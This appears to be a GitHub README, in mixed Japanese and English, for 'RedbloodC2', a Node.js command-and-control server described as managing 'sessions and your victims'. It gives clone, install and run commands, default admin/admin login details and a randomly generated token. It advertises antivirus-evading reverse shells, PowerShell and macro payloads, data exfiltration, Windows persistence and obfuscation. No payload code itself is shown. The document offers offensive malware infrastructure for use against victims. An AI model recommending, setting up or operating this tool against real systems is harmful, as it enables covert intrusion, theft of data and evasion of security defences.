kira2040k/redbloodc2Node.jsのコマンド＆コントロールサーバー。FUDペイロード生成、暗号化通信、セッション管理、データ流出およびWindows永続化のモジュールを備えています。
This is a simple command and control server to handle sessions and your victims
$ git clone https://github.com/kira2040k/RedbloodC2.git
$ cd RedbloodC2
$ npm install
$ node server.js
After install node.js and and all modules from npm
execute:
node server.js
Now visit http://localhost/
username: admin
password: admin
| 機能 | 実装状況 |
|---|---|
| FUD Windows リバースシェル 🐞 | ✔️ |
| 管理パネル 🛑 | ✔️ |
| Web UI 📱 | ✔️ |
| FUD PowerShell ペイロード 🐞 | ✔️ |
| FUD マクロ 🐞 | ✔️ |
| FUD その他のマルウェア 🐞 | ✔️ |
| 自動コマンド 🤖 | ✔️ |
| 通信の暗号化 🔐 | ✔️ |
| VPN および Tor 接続のブロック 🧅 | ✔️ |
| ユーザーとセッションの管理 📃 | ✔️ |
| セッションチャート 📊 | ❌ |
| FUD AutoIt シェル | ✔️ |
| 接続時コマンド | ✔️ |
| ノート & パスの難読化 | ✔️ |
| HTTP/S リバースシェル | ✔️ |
config.js を編集して C2 を制御できます。
管理者アカウントのパスワードを変更し、.env ファイルに ipdata API キーを追加してください。
.env ファイルのトークンを変更してください。
$ node
> crypto.randomBytes(64).toString('hex');
dac771b25290f7a54ff628bdfc9a7e0de879d178a331b16cb65e7199b9d7ce2b7afb30f406415f3852704a0decba68a5c4859a81d29ee680e6427939fd8d99a2
